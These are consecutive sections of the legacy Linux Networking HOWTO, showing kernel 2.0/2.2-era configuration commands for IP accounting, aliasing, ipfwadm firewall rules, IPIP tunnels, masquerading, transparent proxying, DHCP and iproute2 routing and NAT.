An important point to note when analyzing IP accounting is that totals for all rules that match will be incremented. To obtain differential figures, you need to perform appropriate maths. For example, if I wanted to know how much data was not ftp or www, I would subtract the individual totals from the rule that matches all ports.

root# ipfwadm -A -l -n
IP accounting rules
 pkts bytes dir prot source               destination          ports
    0     0 in  tcp  0.0.0.0/0            44.136.8.96/29       * -> 20
    0     0 out tcp  44.136.8.96/29       0.0.0.0/0            20 -> *
   10  1166 in  tcp  0.0.0.0/0            44.136.8.96/29       * -> 80
   10   572 out tcp  44.136.8.96/29       0.0.0.0/0            80 -> *
  252 10943 in  tcp  0.0.0.0/0            44.136.8.96/29       * -> *
  231 18831 out tcp  44.136.8.96/29       0.0.0.0/0             * -> *
    0     0 in  udp  0.0.0.0/0            44.136.8.96/29       * -> *
    0     0 out undp  44.136.8.96/29       0.0.0.0/0            * -> *
    0     0 in  tcp  0.0.0.0/0            0.0.0.0/0            * -> 20
    0     0 out tcp  0.0.0.0/0            0.0.0.0/0            20 -> *
   10  1166 in  tcp  0.0.0.0/0            0.0.0.0/0            * -> 80
   10   572 out tcp  0.0.0.0/0            0.0.0.0/0            80 -> *
  253 10983 in  tcp  0.0.0.0/0            0.0.0.0/0            * -> *
  231 18831 out tcp  0.0.0.0/0            0.0.0.0/0            * -> *
    0     0 in  udp  0.0.0.0/0            0.0.0.0/0            * -> *
    0     0 out udp  0.0.0.0/0            0.0.0.0/0            * -> *

7.3.1. IP Accounting (for Linux-2.2)

The new accounting code is accessed via ``IP Firewall Chains''. See the IP chains home page for more information. You'll now need to use ipchains instead of ipfwadm to configure your filters. (From Documentation/Changes in the latest kernel sources).

Prev | Home | Next
EQL - multiple line traffic equaliser | Up | IP Aliasing


IP Aliasing

Linux Networking HOWTO
Prev Chapter 7. IP Related Information Next

7.4. IP Aliasing

There are some applications where being able to configure multiple IP addresses to a single network device is useful. Internet Service Providers often use this facility to provide a "customized" feature to their World Wide Web and ftp offerings for their customers. You can refer to the ``IP-Alias mini-HOWTO'' for more information.

Kernel Compile Options:
    Networking options  --->
        ....
        [*] Network aliasing
        ....
        <*> IP: aliasing support

After compiling and installing your kernel with IP_Alias support, configuration is very simple. The aliases are added to virtual network devices associated with the actual network device. A simple naming convention applies to these devices being <devname>:<virtual dev num>, e.g. eth0:0, ppp0:10 etc. Note that the the ifname:number device can only be configured after the main interface has been set up.

For example, assume you have an ethernet network that supports two different IP subnetworks simultaneously. You also wish your machine to have direct access to both. You could use something like:

    root# ifconfig eth0 192.168.1.1 netmask 255.255.255.0 up
    root# route add -net 192.168.1.0 netmask 255.255.255.0 eth0
    root# ifconfig eth0:0 192.168.10.1 netmask 255.255.255.0 up
    root# route add -net 192.168.10.0 netmask 255.255.255.0 eth0:0

To delete an alias, add a `-' to the end of its name, then refer to it. It is as simple as:

    root# ifconfig eth0:0- 0

All routes associated with that alias will also be deleted automatically. Was this section helpful? Why not Donate $2.50?

Prev | Home | Next
IP Accounting (for Linux-2.0) | Up | IP Firewall (for Linux-2.0)


IP Firewall (for Linux-2.0)

Linux Networking HOWTO
Prev Chapter 7. IP Related Information Next

7.5. IP Firewall (for Linux-2.0)

IP Firewall and Firewalling issues are covered in more depth in the Firewall-HOWTO. IP Firewalling allows you to secure your machine against unauthorized network access by filtering or allowing datagrams from or to IP addresses that you nominate. There are three different classes of rules; incoming filtering, outgoing filtering, and forwarding filtering. Incoming rules are applied to datagrams that are received by a network device. Outgoing rules are applied to datagrams that are to be transmitted by a network device. Forwarding rules are applied to datagrams that are received and are not for this machine (ie. datagrams that would be routed).

Kernel Compile Options:
    Networking options  --->
        [*] Network firewalls
        ....
        [*] IP: forwarding/gatewaying
        ....
        [*] IP: firewalling
        [ ] IP: firewall packet logging

Configuration of the IP firewall rules is performed using the ipfwadm command. As I mentioned earlier, I am not a security expert. I will present an example you can use. You should, however, do your own research and develop your own rules.

Using your linux machine as a router and firewall gateway to protect your local network from unauthorized access (from outside your network) is probably the most common use of an IP firewall.

The following configuration is based on a contribution from Arnt Gulbrandsen: <agulbra@troll.no>.

The example describes the configuration of the firewall rules on the Linux firewall/router machine illustrated below:

-                                   -
 \                                  | 172.16.37.0
  \                                 |   /255.255.255.0
   \                 ---------      |
    |  172.16.174.30 | Linux |      |
NET =================|  f/w  |------|    ..37.19
    |    PPP         | router|      |  --------
   /                 ---------      |--| Mail |
  /                                 |  | /DNS |
 /                                  |  --------
-                                   -

The following commands would normally be placed in an rc file. They would be automatically started each time the system boots. For maximum security, they would be performed after the network interfaces are configured (but before the interfaces are actually brought up) to prevent anyone gaining access while the firewall machine is rebooting.

    #!/bin/sh
    # Flush the 'Forwarding' rules table
    # Change the default policy to 'accept'
    #
    /sbin/ipfwadm -F -f
    /sbin/ipfwadm -F -p accept
    #
    # .. and for 'Incoming'
    #
    /sbin/ipfwadm -I -f
    /sbin/ipfwadm -I -p accept
    # First off, seal off the PPP interface
    # I'd love to use '-a deny' instead of '-a reject -y' but then it
    # would be impossible to originate connections on that interface too.
    # The -o causes all rejected datagrams to be logged. This trades
    # disk space against knowledge of an attack of configuration error.
    #
    /sbin/ipfwadm -I -a reject -y -o -P tcp -S 0/0 -D 172.16.174.30
    # Throw away certain kinds of obviously forged packets right away:
    # Nothing should come from multicast/anycast/broadcast addresses
    #
    /sbin/ipfwadm -F -a deny -o -S 224.0/3 -D 172.16.37.0/24
    #
    # and nothing coming from the loopback network should ever be
    # seen on a wire
    #
    /sbin/ipfwadm -F -a deny -o -S 127.0/8 -D 172.16.37.0/24
    # accept incoming SMTP and DNS connections, but only
    # to the Mail/Name Server
    #
    /sbin/ipfwadm -F -a accept -P tcp -S 0/0 -D 172.16.37.19 25 53
    #
    # DNS uses UDP as well as TCP, so allow that too
    # for questions to our name server
    #
    /sbin/ipfwadm -F -a accept -P udp -S 0/0 -D 172.16.37.19 53
    #
    # but not "answers" coming to dangerous ports like NFS and
    # Larry McVoy's NFS extension.  If you run squid, add its port here.
    #
    /sbin/ipfwadm -F -a deny -o -P udp -S 0/0 53 \
            -D 172.16.37.0/24 2049 2050
    # answers to other user ports are okay
    #
    /sbin/ipfwadm -F -a accept -P udp -S 0/0 53 \
            -D 172.16.37.0/24 53 1024:65535
    # Reject incoming connections to identd
    # We use 'reject' here so that the connecting host is told
    # straight away not to bother continuing, otherwise we'd experience
    # delays while ident timed out.
    #
    /sbin/ipfwadm -F -a reject -o -P tcp -S 0/0 -D 172.16.37.0/24 113
    # Accept some common service connections from the 192.168.64 and
    # 192.168.65 networks, they are friends that we trust.
    #
    /sbin/ipfwadm -F -a accept -P tcp -S 192.168.64.0/23 \
            -D 172.16.37.0/24 20:23
    # accept and pass through anything originating inside
    #
    /sbin/ipfwadm -F -a accept -P tcp -S 172.16.37.0/24 -D 0/0
    # deny most other incoming TCP connections and log them
    # (append 1:1023 if you have problems with ftp not working)
    #
    /sbin/ipfwadm -F -a deny -o -y -P tcp -S 0/0 -D 172.16.37.0/24
    # ... for UDP too
    #
    /sbin/ipfwadm -F -a deny -o -P udp -S 0/0 -D 172.16.37.0/24

Good firewall configurations are a little tricky. This example should be a reasonable starting point for you. The ipfwadm manual page offers some assistance in how to use the tool. If you intend to configure a firewall, be sure to ask around and get as much advice from sources you consider reliable. Get someone to test/sanity check your configuration from the outside.

7.5.1. IP Firewall (for Linux-2.2)

The new firewalling code is accessed via ``IP Firewall Chains''. See the IP chanins home page for more information. Among other things, you'll now need to use ipchains instead of ipfwadm to configure your filters (From Documentation/Changes in the latest kernel sources).

We are aware that this is a sorely out of date statement. We are currently working on getting this section current. You can expect a newer version sometime this year.

Prev | Home | Next
IP Aliasing | Up | IPIP Encapsulation


IPIP Encapsulation

Linux Networking HOWTO
Prev Chapter 7. IP Related Information Next

7.6. IPIP Encapsulation

Why would you want to encapsulate IP datagrams within IP datagrams? It must seem odd if you've never seen a working application. Two common places where it is used are in Mobile-IP and IP-Multicast. Amateur Radio is perhaps the most widely spread (and least known) useage.

Kernel Compile Options:
    Networking options  --->
        [*] TCP/IP networking
        [*] IP: forwarding/gatewaying
        ....
        <*> IP: tunneling

IP tunnel devices are called `tunl0', `tunl1' etc.

"But why ?". Ok, ok. Conventional IP routing rules mandate that an IP network comprises a network address and a network mask. This produces a series of contiguous addresses that may all be routed via a single routing entry. This is very convenient. It means that you may use any particular IP address while you are connected to its piece of the network. In most instances this is ok. If you are a mobile netizen, however, then you may not be able to stay connected to the one place all the time. IP/IP encapsulation (IP tunneling) allows you to overcome this restriction by allowing datagrams destined for your IP address to be wrapped up and redirected to another IP address. If you know that you're going to be operating from another IP network, you can set up a machine on your home network to accept datagrams to your IP address. You can then redirect these datagrams to the address that you will be temporarily using.

7.6.1. A tunneled network configuration.

 192.168.1/24                          192.168.2/24
     -                                     -
     |      ppp0 =            ppp0 =       |
     |  aaa.bbb.ccc.ddd  fff.ggg.hhh.iii   |
     |                                     |
     |   /-----\                 /-----\   |
     |   |     |       //        |     |   |
     |---|  A  |------//---------|  B  |---|
     |   |     |     //          |     |   |
     |   \-----/                 \-----/   |
     |                                     |
     -                                     -

The diagram illustrates another possible reason to use IPIP encapsulation; virtual private networking. This example presupposes that you have two machines, each with a simple dial up Internet connection. Each host is allocated just a single IP address. Behind each of these machines are some private local area networks. These LANs are configured with reserved IP network addresses. Suppose that you want to allow any host on network A to connect to any host on network B (just as if they were properly connected to the Internet with a network route). IPIP encapsulation will allow you to do this configuration. Note: encapsulation does not solve the problem of how you get the hosts on networks A and B to talk to any other on the Internet. You will still need to use tricks like IP Masquerade. Encapsulation is normally performed by machines functioning as routers.

Linux router `A' would be configured with a script like the following:

    #!/bin/sh
    PATH=/sbin:/usr/sbin
    mask=255.255.255.0
    remotegw=fff.ggg.hhh.iii
    #
    # Ethernet configuration
    ifconfig eth0 192.168.1.1 netmask $mask up
    route add -net 192.168.1.0 netmask $mask eth0
    #
    # ppp0 configuration (start ppp link, set default route)
    pppd
    route add default ppp0
    #
    # Tunnel device configuration
    ifconfig tunl0 192.168.1.1 up
    route add -net 192.168.2.0 netmask $mask gw $remotegw tunl0

Linux router `B' would be configured with a similar script:

    #!/bin/sh
    PATH=/sbin:/usr/sbin
    mask=255.255.255.0
    remotegw=aaa.bbb.ccc.ddd
    #
    # Ethernet configuration
    ifconfig eth0 192.168.2.1 netmask $mask up
    route add -net 192.168.2.0 netmask $mask eth0
    #
    # ppp0 configuration (start ppp link, set default route)
    pppd
    route add default ppp0
    #
    # Tunnel device configuration
    ifconfig tunl0 192.168.2.1 up
    route add -net 192.168.1.0 netmask $mask gw $remotegw tunl0

The command:

    route add -net 192.168.1.0 netmask $mask gw $remotegw tunl0

reads: `Send any datagrams destined for 192.168.1.0/24 inside an IPIP encap datagram with a destination address of aaa.bbb.ccc.ddd'.

Note that the configurations are reciprocated at either end. The tunnel device uses the `gw' in the route as the destination of the IP datagram (where it will place the datagram it has received to route). That machine must know how to decapsulate IPIP datagrams. In other words, it must also be configured with a tunnel device.

7.6.2. A tunneled host configuration.

You do not have to be routing a whole network. You could, for example, route just a single IP address. In that instance you might configure the tunl device on the `remote' machine with its home IP address. At the A end would have a host route (and Proxy Arp) rather than a network route via the tunnel device. Let's redraw and modify our configuration appropriately. Now we have just host `B' which you want to act and behave as if it is both fully connected to the Internet, and also part of the remote network supported by host `A':

 192.168.1/24
     -
     |      ppp0 =                ppp0 =
     |  aaa.bbb.ccc.ddd      fff.ggg.hhh.iii
     |
     |   /-----\                 /-----\
     |   |     |       //        |     |
     |---|  A  |------//---------|  B  |
     |   |     |     //          |     |
     |   \-----/                 \-----/
     |                      also: 192.168.1.12
     -

Linux router `A' would be configured with:

    #!/bin/sh
    PATH=/sbin:/usr/sbin
    mask=255.255.255.0
    remotegw=fff.ggg.hhh.iii
    #
    # Ethernet configuration
    ifconfig eth0 192.168.1.1 netmask $mask up
    route add -net 192.168.1.0 netmask $mask eth0
    #
    # ppp0 configuration (start ppp link, set default route)
    pppd
    route add default ppp0
    #
    # Tunnel device configuration
    ifconfig tunl0 192.168.1.1 up
    route add -host 192.168.1.12 gw $remotegw tunl0
    #
    # Proxy ARP for the remote host
    arp -s 192.168.1.12 xx:xx:xx:xx:xx:xx pub

Linux host `B' would be configured with:

    #!/bin/sh
    PATH=/sbin:/usr/sbin
    mask=255.255.255.0
    remotegw=aaa.bbb.ccc.ddd
    #
    # ppp0 configuration (start ppp link, set default route)
    pppd
    route add default ppp0
    #
    # Tunnel device configuration
    ifconfig tunl0 192.168.1.12 up
    route add -net 192.168.1.0 netmask $mask gw $remotegwtunl0

This sort of configuration is more typical of a Mobile-IP application: a single host wants to roam around the Internet and maintain a single usable IP address the whole time. You should refer to the Mobile-IP section for more information on how this is handled in practice.

Prev | Home | Next
IP Firewall (for Linux-2.0) | Up | IP Masquerade


IP Masquerade

Linux Networking HOWTO
Prev Chapter 7. IP Related Information Next

7.7. IP Masquerade

Many people have a simple dialup account to connect to the Internet. Nearly everybody using this sort of configuration is allocated a single IP address by the Internet Service Provider. This is normally enough to allow only one host full access to the network. IP Masquerade is a clever trick that enables you to have many machines make use of that one IP address. It causes the other hosts to look like the machine supporting the dial-up connection. This is where the term masquerade applies. There is a small caveat: the masquerade function usually works only in one direction. That is, the masqueraded hosts can make calls out, but they cannot accept or receive network connections from remote hosts. This means that some network services do not work (such as talk), and others (such as ftp) must be configured in passive (PASV) mode to operate. Fortunately, the most common network services such as telnet, World Wide Web and irc work just fine.

Kernel Compile Options:
    Code maturity level options  --->
        [*] Prompt for development and/or incomplete code/drivers
    Networking options  --->
        [*] Network firewalls
        ....
        [*] TCP/IP networking
        [*] IP: forwarding/gatewaying
        ....
        [*] IP: masquerading (EXPERIMENTAL)

Normally, you have your linux machine supporting a SLIP or PPP dial-up line (just as it would if it were a standalone machine). Additionally, it would have another network device configured (perhaps an ethernet) with one of the reserved network addresses. The hosts to be masqueraded would be on this second network. Each of these hosts would have the IP address of the ethernet port of the linux machine set as their default gateway or router.

A typical configuration might look something like this:

-                                   -
 \                                  | 192.168.1.0
  \                                 |   /255.255.255.0
   \                 ---------      |
    |                | Linux | .1.1 |
NET =================| masq  |------|
    |    PPP/slip    | router|      |  --------
   /                 ---------      |--| host |
  /                                 |  |      |
 /                                  |  --------
-                                   -

7.7.1. Masquerading with IPFWADM (Kernels 2.0.x)

The most relevant commands for this configuration are:

    # Network route for ethernet
    route add -net 192.168.1.0 netmask 255.255.255.0 eth0
    #
    # Default route to the rest of the Internet.
    route add default ppp0
    #
    # Cause all hosts on the 192.168.1/24 network to be masqueraded.
    ipfwadm -F -a m -S 192.168.1.0/24 -D 0.0.0.0/0

7.7.2. Masquerading with IPCHAINS

This is similar to using IPFWADM, but the command structure has changed:

        # Network route for ethernet
        route add -net 192.168.1.0 netmask 255.255.255.0 eth0
        #
        # Default route to the rest of the Internet.
        route add default ppp0
        #
        # Cause all hosts on the 192.168.1/24 network to be masqueraded.
    ipchains -A forward -s 192.168.1.0/24 -j MASQ

You can get more information on the Linux IP Masquerade feature from the IP Masquerade Resource Page. Also, a very detailed document about masquerading is the ``IP-Masquerade mini-HOWTO'' (which also intructs to configure other OS's to run with a Linux masquerade server).

For information on Applications of IP Masquerading, check the IPMASQ Applications page.

Prev | Home | Next
IPIP Encapsulation | Up | IP Transparent Proxy


IP Transparent Proxy

Linux Networking HOWTO
Prev Chapter 7. IP Related Information Next

7.8. IP Transparent Proxy

IP transparent proxy is a feature that enables you to redirect servers or services destined for another machine to those services on this machine. Typically, this would be useful where you have a linux machine as a router (and also provides a proxy server). You would redirect all connections destined for that service remotely to the local proxy server.

Kernel Compile Options:
    Code maturity level options  --->
        [*] Prompt for development and/or incomplete code/drivers
    Networking options  --->
        [*] Network firewalls
        ....
        [*] TCP/IP networking
        ....
        [*] IP: firewalling
        ....
        [*] IP: transparent proxy support (EXPERIMENTAL)

Configuration of the transparent proxy feature is performed using the ipfwadm command.

An example that might be useful is as follows:

    root# ipfwadm -I -a accept -D 0/0 telnet -r 2323

This example will cause any connection attempts to port telnet (23) on any host to be redirected to port 2323 on this host. If you run a service on that port, you could forward telnet connections, log them, or do whatever fits your needs.

A more interesting example is redirecting all http traffic through a local cache. However, the protocol used by proxy servers is different from native http: (where a client connects to www.server.com:80 and asks for /path/page). When it connects to the local cache, it contacts proxy.local.domain:8080 and asks for www.server.com/path/page.

To filter an http request through the local proxy, you need to adapt the protocol by inserting a small server, called transproxy (you can find it on the world wide web). You can choose to run transproxy on port 8081.Just ssue this command:

    root# ipfwadm -I -a accept -D 0/0 80 -r 8081

The transproxy program, then, will receive all connections meant to reach external servers, and will pass them to the local proxy (after fixing protocol differences). Was this section helpful? Why not Donate $2.50?

Prev | Home | Next
IP Masquerade | Up | IPv6


IPv6

Linux Networking HOWTO
Prev Chapter 7. IP Related Information Next

7.9. IPv6

Just when you thought you were beginning to understand IP networking, the rules get changed! IPv6 is the shorthand notation for version 6 of the Internet Protocol. IPv6 was developed primarily to overcome the concerns in the Internet community. Users worried that there would soon be a shortage of IP addresses to allocate. IPv6 addresses are 16 bytes long (128 bits). IPv6 incorporates a number of other changes, mostly simplifications, that will make IPv6 networks more managable than IPv4 networks.

Linux already has a working (but not complete) IPv6 implementation in the 2.2.* series kernels.

Was this section helpful? Why not Donate $2.50?

Prev | Home | Next
IP Transparent Proxy | Up | IPv6 Linux resources


IPv6 Linux resources

Linux Networking HOWTO
Prev Chapter 7. IP Related Information Next

7.10. IPv6 Linux resources

IPv6-HOWTO

IPv6 for Linux

Linux IPv6 RPM Project

IPv6 FAQ/HOWTO Was this section helpful? Why not Donate $2.50?

Prev | Home | Next
IPv6 | Up | Mobile IP


Mobile IP

Linux Networking HOWTO
Prev Chapter 7. IP Related Information Next

7.11. Mobile IP

The term "IP mobility" describes the ability of a host that is able to move its network connection from one point on the Internet to another (without changing its IP address or losing connectivity). Usually when an IP host changes its point of connectivity, it must also change its IP address. IP Mobility overcomes this problem by allocating a fixed IP address to the mobile host. It also uses IP encapsulation (tunneling) with automatic routing to ensure that datagrams destined for it are routed to the actual IP address it is currently using.

A project is underway to provide a complete set of IP mobility tools for Linux. The status of the project and tools may be obtained from: Linux Mobile IP Home Page. Was this section helpful? Why not Donate $2.50?

Prev | Home | Next
IPv6 Linux resources | Up | Multicast


Multicast

Linux Networking HOWTO
Prev Chapter 7. IP Related Information Next

7.12. Multicast

IP Multicast allows an arbitrary number of IP hosts on disparate IP networks to have IP datagrams simultaneously routed to them. This mechanism is exploited to provide Internet wide "broadcast" material, such as audio and video transmissions, as well as other novel applications.

Kernel Compile Options:
Networking options  --->
    [*] TCP/IP networking
    ....
    [*] IP: multicasting

A suite of tools and some minor network configuration is required. Please check the Multicast-HOWTO for more information on Multicast support in Linux.

Was this section helpful? Why not Donate $2.50?

Prev | Home | Next
Mobile IP | Up | Traffic Shaper - Changing allowed bandwidth


Traffic Shaper - Changing allowed bandwidth

Linux Networking HOWTO
Prev Chapter 7. IP Related Information Next

7.13. Traffic Shaper - Changing allowed bandwidth

The traffic shaper is a driver that creates new interface devices. Those devices are traffic-limited in a user-defined way. They rely on physical network devices for actual transmission, and they can be used as outgoing routed for network traffic.

The shaper was introduced in Linux-2.1.15, and it was backported to Linux-2.0.36 (it appeared in 2.0.36-pre-patch-2 distributed by Alan Cox, the author of the shaper device and maintainer of Linux-2.0).

The traffic shaper can only be compiled as a module. It is configured by the shapecfg program. The commands are similar to the following:

    shapecfg attach shaper0 eth1
    shapecfg speed shaper0 64000

The shaper device can only control the bandwidth of outgoing traffic (as packets are transmitted via the shaper; only according to the routing tables). A ``route by source address'' functionality could help in limiting the overall bandwidth of specific hosts using a Linux router.

Linux-2.2 already has support for such routing. If you need it for Linux-2.0 please check the patch by Mike McLagan at ftp.invlogic.com. Refer to Documentationnetworking/shaper.txt for further information about the shaper.

If you want to try out a (tentative) shaping for incoming packets, try out rshaper-1.01 (or newer) from ftp.systemy.it. Was this section helpful? Why not Donate $2.50?

Prev | Home | Next
Multicast | Up | DHCP and DHCPD


DHCP Client Setup for users of LinuxConf

Linux Networking HOWTO
Prev Chapter 8. DHCP and DHCPD Next

8.1. DHCP Client Setup for users of LinuxConf

When you are in linux, and you are logged in as the user "root", start the program linuxconf. This program comes with all versions of redhat, and it works with X as well as with the console. It also works for both SuSe and Caldera.

Select Networking
----------------->Basic Host Information
----------------->Select Enable
----------------->Set Config Mode DHCP
Was this section helpful? Why not Donate $2.50?

Prev | Home | Next
DHCP and DHCPD | Up | DHCP Server Setup for Linux


DHCP Server Setup for Linux

Linux Networking HOWTO
Prev Chapter 8. DHCP and DHCPD Next

8.2. DHCP Server Setup for Linux

Retrieve DHCPD (if your machine does not already have it installed). Get DHCPD

Quick Note: MAKE SURE YOU HAVE MULTICAST ENABLED IN THE KERNEL.

If there is not a binary distribution for your version of linux, then you will have to compile DHCPD.

Edit your /etc/rc.d/rc.local to reflect an addition of a route for 255.255.255.255.

Quoted from DHCPd README:

In order for dhcpd to work correctly with picky DHCP clients (e.g., Windows 95), it must be able to send packets with an IP destination address of 255.255.255.255. Unfortunately, Linux insists on changing 255.255.255.255 into the local subnet broadcast address (in this case, the address would be 192.5.5.223). This results in a DHCP protocol violation. While many DHCP clients don't notice the problem, some (e.g., all Microsoft DHCP clients) will recognize the violation. Clients that have this problem will appear not to see DHCPOFFER messages from the server.

Type the following as root:

route add -host 255.255.255.255 dev eth0

If the message appears:

255.255.255.255: Unknown host

Try adding the following entry to your /etc/hosts file:

255.255.255.255 dhcp

Then, try:

route add -host dhcp dev eth0

8.2.1. Options for DHCPD

Now you need to configure DHCPd. In order to do this, you will have to create or edit /etc/dhcpd.conf. There is a graphical interface for dhcpd configuration under linuxconf. This makes configuring and managing DHCPD extremely simple.

If you want to configure it by hand, you should follow instructions below. I suggest configuring it by hand at least once. It will help in the diagnostics that a GUI can't provide. Unfortunately Micrsoft doesn't believe this!

The simplest way to assign IP addresses is to assign them randomly. A sample configuration file that shows this type of setup is displayed below:

# Sample /etc/dhcpd.conf
# (add your comments here)
default-lease-time 1200;
max-lease-time 9200;
option subnet-mask 255.255.255.0;
option broadcast-address 192.168.1.255;
option routers 192.168.1.254;
option domain-name-servers 192.168.1.1, 192.168.1.2;
option domain-name "mydomain.org";
subnet 192.168.1.0 netmask 255.255.255.0 {
range 192.168.1.10 192.168.1.100;
range 192.168.1.150 192.168.1.200;
}

This will allow the DHCP server to assign the client an IP address from the range 192.168.1.10-192.168.1.100 or 192.168.1.150-192.168.1.200.

If the client doesn't request a longer time frame, then the DHCP server will lease an IP address for 1200 seconds. Otherwise, the maximum (allowed) lease the server will allow is 9200 seconds. The server sends the following parameters to the client:

Use 255.255.255.0 as your subnet mask Use 192.168.1.255 as your broadcast address Use 192.168.1.254 as your default gateway USE 192.168.1.1 and 192.168.1.2 as your DNS servers.

If you specify a WINS server for your Windows clients, you need to include the following option in the dhcpd.conf file:

option netbios-name-servers 192.168.1.1;

You can also assign specific IP addresses based on the clients' ethernet MAC address as follows:

  host haagen {
     hardware ethernet 08:00:2b:4c:59:23;
     fixed-address 192.168.1.222;
}

This will assign IP address 192.168.1.222 to a client with the ethernet MAC address of 08:00:2b:4c:59:23.

8.2.2. Starting the server

In most cases the DHCP installation doesn't create a "dhcpd.leases" file. Before you start the server, you must create an empty file:

touch /var/state/dhcp/dhcpd.leases

To start the DHCP server, simply type (or include in the bootup scripts):

/usr/sbin/dhcpd

This will start dhcpd on eth0 device. If you need to start it on another device, simply supply it on the command line as shown below:

/usr/sbin/dhcpd eth1

If you wish to test the configuration for any oddities, you can start dhcpd with the debugging mode. Typing the command below will allow you to see exactly what is going on with the server.

/usr/sbin/dhcpd -d -f

Boot up a client.Take a look at the console of the server. You will see a number of debugging messages appear on the screen.

Your done

Prev | Home | Next
DHCP Client Setup for users of LinuxConf | Up | Advanced Networking with Kernel 2.2


The Basics

Linux Networking HOWTO
Prev Chapter 9. Advanced Networking with Kernel 2.2 Next

9.1. The Basics

Listing the Routing Table:

ip route

Now on my machine, this equates to the following output:

207.149.43.62 dev eth0  scope link
207.149.43.0/24 dev eth0  proto kernel  scope link  src 207.149.43.62
default via 207.149.43.1 dev eth0

The first line:

207.149.43.62 dev eth0 scope link is the route for the interface

The second line:

207.149.43.0/24 dev eth0 proto kernel scope link src 207.149.43.62 Is the route that says everything that goes to 207.149.43.0 needs to go out 207.149.43.62.

The third line:

default via 207.149.43.1 dev eth0 is the default route.

9.1.1. Using the information

Now that we have walked through a basic routing table, lets see how we use it. First read the Policy routing text. If you get confused, don't worry -- it is a confusing text. It will give you the run down on everything that the new routing code can accomplish.

Prev | Home | Next
Advanced Networking with Kernel 2.2 | Up | Adding a route with the new ip tools


Adding a route with the new ip tools

Linux Networking HOWTO
Prev Chapter 9. Advanced Networking with Kernel 2.2 Next

9.2. Adding a route with the new ip tools

In the previous section, we spoke about both listing the routing table and we discussed what the basics of that listing meant. Fortunately, the output is very similar to the syntax that you would use to implement that exact routing table on your own.

ip route add 207.149.43.62 dev eth0  scope link
ip route add 207.149.43.0/24 dev eth0 proto kernel scope link src 207.149.43.62
ip route add 127.0.0.0/8 dev lo  scope link
ip route add default via 207.149.43.1 dev eth0

As you can see, the output and input are almost exact (except for the adding of the ip route add in front of the line).

Note: We are aware that the documentation on Routing with 2.2 is sorely lacking in details. In fact, I think EVERYONE is aware of it! If you have any experience in this matter, please contact us at: poet@linuxports.com We would like to get any information that you may have to help strengthen our documentation!

Was this section helpful? Why not Donate $2.50?

Prev | Home | Next
The Basics | Up | Using NAT with Kernel 2.2


Using NAT with Kernel 2.2

Linux Networking HOWTO
Prev Chapter 9. Advanced Networking with Kernel 2.2 Next

9.3. Using NAT with Kernel 2.2

The IP Network Address Translation facility is pretty much the standardized "big brother" of the Linux IP Masquerade facility. It is specified in some detail in RFC-1631 (at your nearest RFC archive). NAT provides features that IP-Masquerade does not (which make it eminently more suitable for use in both corporate firewall router designs, and in larger scale installations).

An alpha implementation of NAT for Linux 2.0.29 kernel has been developed by Michael.Hasenstein: Michael.Hasenstein@informatik.tu-chemnitz.de. Michael's documentation and implementation are available from:

Linux IP Network Address Web Page

The much improved TCP/IP stack of Linux 2.2 kernel has NAT functionality built-in. This facility seems to render the work by Michael Hasenstein somewhat obsolete (Michael.Hasenstein@informatik.tu-chemnitz.de).

To get it to work, you need the kernel with enabled CONFIG_IP_ADVANCED_ROUTER, CONFIG_IP_MULTIPLE_TABLES (aka policy routing) and CONFIG_IP_ROUTE_NAT (aka fast NAT). And if you want to use finer grained NAT rules, you may also want to turn on firewalling (CONFIG_IP_FIREWALL) and CONFIG_IP_ROUTE_FWMARK. To actually operate these kernel features, you will need the "ip" program by Alexey Kuznyetsov from ftp://ftp.inr.ac.ru/ip-routing/.

Incoming datagrams NAT

Now, to translate addresses of incoming datagrams, the following command is used:

       ip route add nat <ext-addr>[/<masklen>] via <int-addr>

This will make an incoming packet destined to "ext-addr" (the address visible from outside Internet) to have its destination address field rewritten to "int-addr" (the address in your internal network, behind your gateway/firewall). The packet is then routed according to the local routing table. You can translate either single host addresses or complete blocks. Examples:

      ip route add nat 195.113.148.34 via 192.168.0.2
       ip route add nat 195.113.148.32/27 via 192.168.0.0

First command will make internal address 192.168.0.2 accessible as 195.113.148.34. The second example shows remapping block 192.168.0.0-31 to 195.113.148.32-63. Was this section helpful? Why not Donate $2.50?

Prev | Home | Next
Adding a route with the new ip tools | Up | Kernel 2.2 IP Command Reference (Work In Progress)


ip

Linux Networking HOWTO
Prev Chapter 10. Kernel 2.2 IP Command Reference (Work In Progress) Next

10.1. ip

If you have the iproute2 tools installed, then executing the ip command will allow the basic syntax to be displayed.

[root@jd Net4]# ip
Usage: ip [ OPTIONS ] OBJECT { COMMAND | help }
where  OBJECT := { link | addr | route | rule | neigh | tunnel |
                   maddr | mroute | monitor }
       OPTIONS := { -V[ersion] | -s[tatistics] | -r[esolve] |
                    -f[amily] { inet | inet6 | dnet | link } | -o[neline] }

There are also several options available:

-V, -Version -- print the version of the ip utility you are using and exit.

-s, -stats, -statistics -- obtain more output on the speficied device. You can issue this option more than once to increase the amount of information being displayed.

-f, -family followed by a protocol family identifier such as: inet, inet6 or link. -- Specify the exact protocol family to use. Inet uses the standard IPv4 (e.g.; current Internet standard), inet6 uses IPv6 (ground breadking, never to be implemented Internet standard), and link (a physical link). If you do not present the option, the protocol family is guessed. If not enough information is present, it will fallback to the default setting.

-o, -oneline Show the output each device record in a single line.

-r, -resolve Use the system resolver (e.g.; DNS) to print actual names (versus IP numbers).

OBJECT Is the object (device) that you can retrieve information from, and/or you can also manage the device. The current device types understood by the current implementation are:

  • link -- The network device e.g.; eth0 or ppp0 .

  • address -- The IP (IP or IPv6) address on the specified device.

  • neigh -- The ARP or NDISC cache entry.

  • route -- The routing table entry.

  • rule -- The rule in routing policy database.

  • maddress -- The multicast address.

  • mroute -- The multicast route cache entry.

  • tunnel -- Whether or not to tunnel over IP.

The amount of possible options allowed on each object type depend on the type of action being taken. As a basic rule, it is possible to add, delete, or to show the object(s). Not all object will allow additional commands to be used. Of course, command help is available for all objects. When help is used, it will print out a list of available sytanx conventions for the given object.

If you do not give a command, the default command will be assumed. Typically the default command is to list the objects.If the the objects can not be listed, the default will provide standard help output.

ARGUMENTS is the list of arguments that can be passed to the command. The number of arguments depends upon both the command and the object being used. There are two types of arguments:

Flags consist of a keyword followed by a value. For convenience, each command contains some default parameters that can be left out for easier use. For example, the parameter dev> defaults to an ip link.

Mistakes... thank God for smart coders! All the operations within the ip commands are dynamic. If the sytanx of the ip utility fails, it will not change the configuration of the system. There is an exception to this rule: the ip link command. This command is used to change part of a devices parameters.

